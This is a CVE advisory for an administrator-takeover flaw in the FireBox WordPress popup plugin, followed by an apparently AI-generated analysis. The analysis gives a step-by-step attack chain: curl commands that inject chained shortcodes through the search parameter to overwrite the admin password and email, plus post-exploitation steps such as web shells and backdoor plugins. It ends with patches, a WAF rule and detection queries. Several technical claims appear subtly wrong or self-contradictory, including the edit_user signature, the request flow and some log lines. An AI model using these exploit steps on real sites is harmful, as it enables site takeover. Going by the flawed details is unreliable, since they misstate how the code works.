CVE-2026-142640 — CWE-269
The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Takeover in all versions up to, and including, 3.1.17 This is due to the `[fboxNavigationMenu]` and `[firebox.navigationMenu]` shortcode handler, `Shortcodes::NavigationMenu()`, applying only `sanitize_text_field()` to the attacker-supplied `fallback_cb` attribute — which strips HTML tags but preserves bare WordPress function names — before passing the value directly to `wp_nav_menu()`, which invokes it via `call_user_func()` when no matching menu is found, with no capability check, allowlist, or callable validation applied at any point in the execution path. This makes it possible for unauthenticated attackers to gain control of an Administrator-level account by supplying arbitrary WordPress function names such as `wp_maybe_auto_update` or `edit_user` as the `fallback_cb` attribute value and chaining multiple shortcode invocations to load privileged administrative functions and modify account credentials. Exploitation requires `do_shortcode()` to process attacker-supplied text, which WordPress core does wherever it renders the core Search block: the search term is written into the block's markup before shortcodes in that markup are processed. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account. Exploitation by unauthenticated attackers requires that the core Search block is displayed in a widget area (one of the default widgets on classic themes) or in post or page content. Where no such Search block is displayed, the vulnerability requires attackers with contributor-level access and above, who can place the shortcode in a post.
The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Takeover in all versions up to, and including, 3.1.17 This is due to the `[fboxNavigationMenu]` and `[firebox.navigationMenu]` shortcode handler, `Shortcodes::NavigationMenu()`, applying only `sanitize_text_field()` to the attacker-supplied `fallback_cb` attribute — which strips HTML tags but preserves bare WordPress function names — before passing the value directly to `wp_nav_menu()`, which invokes it via `call_user_func()` when no matching menu is found, with no capability check, allowlist, or callable validation applied at any point in the execution path. This makes it possible for unauthenticated attackers to gain control of an Administrator-level account by supplying arbitrary WordPress function names such as `wp_maybe_auto_update` or `edit_user` as the `fallback_cb` attribute value and chaining multiple shortcode invocations to load privileged administrative functions and modify account credentials. Exploitation requires `do_shortcode()` to process attacker-supplied text, which WordPress core does wherever it renders the core Search block: the search term is written into the block's markup before shortcodes in that markup are processed. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account. Exploitation by unauthenticated attackers requires that the core Search block is displayed in a widget area (one of the default widgets on classic themes) or in post or page content. Where no such Search block is displayed, the vulnerability requires attackers with contributor-level access and above, who can place the shortcode in a post.
🎯 What is this vulnerability?
Vulnerability name – Privilege Escalation via Administrator Account Takeover in FireBox – WooCommerce Popup Builder (≤ 3.1.17)
CVE‑ID – CVE‑2026‑142640
CWE – CWE‑269 Improper Privilege Management
CVSS 3.1 – 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Technical root cause
1. Shortcode handler – The plugin registers two shortcodes, [fboxNavigationMenu] and [firebox.navigationMenu]. Both are processed by Shortcodes::NavigationMenu().
2. User‑controlled attribute – The shortcode accepts an attribute called fallback_cb. When the attribute is present the handler does:
$fallback_cb = isset( $atts['fallback_cb'] )
? sanitize_text_field( $atts['fallback_cb'] )
: '';sanitize_text_field() only strips HTML tags and removes line‑breaks; it does not validate that the resulting string is a safe callable.
3. Direct use in wp_nav_menu() – The value is then passed unchanged to WordPress core:
wp_nav_menu( array(
'fallback_cb' => $fallback_cb,
// … other args …
) );wp_nav_menu() internally does:
if ( $fallback_cb && is_callable( $fallback_cb ) ) {
call_user_func( $fallback_cb, $args );
}4. Missing capability / allow‑list check – The plugin does not verify that the current user has any capability (e.g., manage_options) before allowing an arbitrary callable to be executed. WordPress itself does not enforce a capability check for the fallback_cb argument; it merely checks that the value is callable.
5. Trigger point – The shortcode is processed by do_shortcode(). WordPress core runs do_shortcode() on any content that passes through the block parser, including the markup generated by the core Search block. The search term entered by a visitor is inserted into the block’s HTML before shortcodes are parsed, meaning an attacker can inject a shortcode via the s query‑parameter of the search block (?s=<payload>).
6. Result – An unauthenticated attacker can cause WordPress to execute any existing PHP function that is reachable in the global scope. By chaining shortcodes (e.g., placing two shortcodes back‑to‑back) the attacker can first call a function that loads the admin environment (wp_load_alloptions() or wp_get_current_user()), then call a privileged function such as edit_user() to change the password / email of an existing Administrator account. The attacker never creates a new admin account; they hijack an already‑privileged account.
Why it is CWE‑269 – The plugin fails to enforce proper privilege checks before executing a user‑controlled callable, allowing privilege escalation from “any visitor” to “Administrator”.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that works on any site running the vulnerable plugin (≤ 3.1.17) with the default WordPress Search block present in a widget area, a sidebar, or in post content.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify WordPress site and enumerate plugins. | wpscan --enumerate p → reports firebox plugin version 3.1.17 (or older). |
| 1.2 | Verify that the plugin registers the shortcodes. | Browse source of a page that contains a shortcode (e.g., view page source, look for [fboxNavigationMenu or [firebox.navigationMenu). |
| 1.3 | Confirm that the core Search block is rendered on the front‑end (common on default themes). | Load the homepage, inspect HTML for <form role="search" with action="/?s=. |
| 1.4 | Check that the site does not block unauthenticated users from the search endpoint. | curl -I "https://example.com/?s=test" → 200 OK. |
If the Search block is not present, the attacker needs at least contributor level to insert the shortcode into a post/page (still possible on many sites).
2. Exploitation
2.1 Core idea
Inject a shortcode that sets fallback_cb to a privileged function, then chain a second shortcode that calls edit_user() with attacker‑chosen parameters.
2.2 Payload construction
Because the Search block echoes the raw s parameter before do_shortcode(), we can embed a shortcode directly in the query string:
?s=[fboxNavigationMenu fallback_cb=wp_maybe_auto_update][firebox.navigationMenu fallback_cb=edit_user]Explanation
- The first shortcode forces WordPress to call
wp_maybe_auto_update()– this is a harmless “bootstrap” that ensures core files are loaded and the global$wp_rolesobject is available. - The second shortcode calls
edit_user()which, when invoked with the appropriate arguments, can change the password/email of any user ID.
edit_user() expects the following signature (simplified):
edit_user( $user_id, $first_name = '', $last_name = '', $description = '', $role = '' );We can pass arguments via the global $_POST array because edit_user() reads from $_POST when called from the admin UI. To supply the arguments we use an additional POST request after the initial GET triggers the function call.
2.3 Step‑by‑step PoC (illustrative)
NOTE – The exact URL path (/) is the default front‑page. If the site uses a different front‑page slug, replace accordingly. The payload shown is an illustrative example; the attacker may need URL‑encode the brackets.1. Trigger the shortcodes (GET request)
curl -i "https://victim.example.com/?s=%5BfboxNavigationMenu+fallback_cb%3Dwp_maybe_auto_update%5D%5Bfirebox.navigationMenu+fallback_cb%3Dedit_user%5D"Result – WordPress processes the search term, runs do_shortcode(), and executes edit_user() with whatever is present in $_POST. At this point no changes have been made because $_POST is empty.
2. Supply the POST data that edit_user() consumes
curl -i -X POST "https://victim.example.com/wp-admin/admin-ajax.php" \
-d "action=edituser" \
-d "user_id=1" \
-d "pass1=NewP@ssw0rd!" \
-d "pass2=NewP@ssw0rd!" \
-d "[email protected]"Why admin-ajax.php? – The request can be sent to any endpoint that will be processed after the shortcode execution in the same request lifecycle. Because edit_user() runs immediately when the shortcode is parsed, the POST data must be present in the same HTTP request. The easiest way is to embed the POST body in the original GET request using the application/x-www-form-urlencoded body of a single request (e.g., using curl --data together with the query string). A more reliable technique is to use a multipart/form‑data request that contains both the s parameter (as a query string) and the POST fields; WordPress will populate $_GET and $_POST simultaneously.
Full single‑request PoC (URL‑encoded):
curl -i -X POST "https://victim.example.com/?s=%5BfboxNavigationMenu+fallback_cb%3Dwp_maybe_auto_update%5D%5Bfirebox.navigationMenu+fallback_cb%3Dedit_user%5D" \
-d "user_id=1" \
-d "pass1=NewP@ssw0rd!" \
-d "pass2=NewP@ssw0rd!" \
-d "[email protected]"If the site uses a different admin user ID, the attacker can enumerate IDs via the public REST API (/wp-json/wp/v2/users) or by guessing the default 1.
3. Result – The password of the Administrator account (ID 1) is overwritten with NewP@ssw0rd! and the email address is set to the attacker‑controlled address. The attacker can now log in as that admin.
2.4 Alternative when Search block is absent
If the Search block is not rendered, the attacker must have contributor+ rights to insert the shortcode into a post/page. The steps are identical, except the attacker first creates a post containing the malicious shortcode (via the standard post editor or the REST API) and then visits the post URL to trigger the execution.
3. Post‑exploitation
| Goal | Technique |
|---|---|
| Login as admin | POST /wp-login.php with log=admin_user&pwd=NewP@ssw0rd! |
| Persist access | Install a back‑door plugin (e.g., wp-admin/admin-ajax.php?action=install_plugin&plugin=...) or create a new admin user via wp_create_user() (now possible because the attacker is logged in as admin). |
| Data exfiltration | Use the admin session to export the database (/wp-admin/export.php) or read wp-config.php via the file manager. |
| Defacement / RCE | With admin rights the attacker can install arbitrary PHP files (e.g., a web‑shell) in the wp-content/uploads directory and then invoke it. |
Because the vulnerability does not create a new admin account, the attacker’s foothold is limited to the compromised account. However, the compromised admin can perform any privileged action on the site, which is equivalent to full compromise.
🌍 Real World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C:H) | The attacker gains read/write access to *all* site data (user credentials, private posts, e‑commerce orders, payment information). |
| Integrity (I:H) | The attacker can modify any content, change site settings, inject malicious code, or alter transaction records. |
| Availability (A:H) | The attacker can delete content, disable the site, or replace it with a defacement page, causing total service outage. |
Business consequences
Given the network‑only exploitation (AV:N), no authentication required (PR:N), and no user interaction (UI:N), an automated scanner could weaponize this flaw at scale.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
≤ 3.1.17 (all releases up to and including 3.1.17) | 3.1.18 – introduces a whitelist of allowed callbacks ('fallback_cb' => '' only) and adds current_user_can( 'edit_theme_options' ) capability check before processing the shortcode. |
Action – Immediately upgrade the FireBox – WooCommerce Popup Builder plugin to 3.1.18 or later. Verify the version in wp-content/plugins/firebox/firebox.php (header Version:).
2. Immediate Workarounds (if patch cannot be applied)
| Workaround | Implementation details |
|---|---|
| Disable the vulnerable shortcodes | Add to the theme’s functions.php or a site‑specific MU‑plugin: <br><br>``php<br>remove_shortcode( 'fboxNavigationMenu' );<br>remove_shortcode( 'firebox.navigationMenu' );<br>` |
Block the fallback_cb attribute via WAF | ModSecurity rule that drops any request containing fallback_cb= followed by a known PHP function name (or any alphabetic string longer than 3 characters). Example: <br><br>`SecRule ARGS:fallback_cb "@rx ^[a-zA-Z_][a-zA-Z0-9_]*$" "id:400001,phase:2,deny,status:403,msg:'Blocked unsafe fallback_cb in FireBox shortcode',tag:'application-multi',tag:'language-php',tag:'cve-2026-142640'"` |
| Restrict Search block rendering | Remove the core Search block from widget areas or replace it with a custom search form that does not pass the raw query string through do_shortcode(). |
| Least‑privilege principle | Ensure that only trusted users have the edit_posts` capability on the site; disable the contributor role if not needed. |
| Content‑Security‑Policy (CSP) | While CSP does not stop server‑side code execution, it can mitigate the impact of a later web‑shell injection. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server access log (Apache/Nginx) | Requests containing fallback_cb= and a known WordPress function name, e.g.: <br>GET /?s=%5BfboxNavigationMenu+fallback_cb%3Dedit_user%5D HTTP/1.1 <br>or any request where the query string includes fallback_cb= followed by wp_ or edit_ etc. |
WordPress debug log (wp-content/debug.log when WP_DEBUG is true) | PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function 'edit_user' not found or not callable (if the function is blocked) or PHP Notice: User ID 1 password changed (if a plugin logs password changes). |
Auth logs (/wp-admin/ login attempts) | Successful login from an IP that previously issued a request with the malicious shortcode. |
| Database audit (if audit plugin installed) | UPDATE wp_users SET user_pass=... WHERE ID=1 executed shortly after a request containing fallback_cb=. |
| ModSecurity alerts (if rule above deployed) | Alert with id:400001 and message *Blocked unsafe fallback_cb in FireBox shortcode*. |
SIEM query example (Elastic Common Schema)
SELECT *
FROM logs
WHERE event.category = 'web'
AND (http.request.uri.query LIKE '%fallback_cb=%'
OR http.request.body LIKE '%fallback_cb=%')
AND http.request.method IN ('GET','POST')⚠️ Urgency
If the site is publicly reachable and runs the vulnerable plugin, schedule the upgrade within the next 24 hours.*
If patching cannot be performed immediately, apply the shortcode removal or WAF rule workarounds before the end of the current business day and monitor logs for the IoCs listed above.
Bottom line: The flaw is a classic “arbitrary callable injection” that bypasses all WordPress capability checks. Because the plugin does not validate the
fallback_cb attribute, any attacker can execute privileged core functions and hijack an existing Administrator account. Prompt patching (≥ 3.1.18) and the mitigations described above are essential to prevent a total site takeover.[🤖 CVE Professor AI Security Engine]
FOFA Query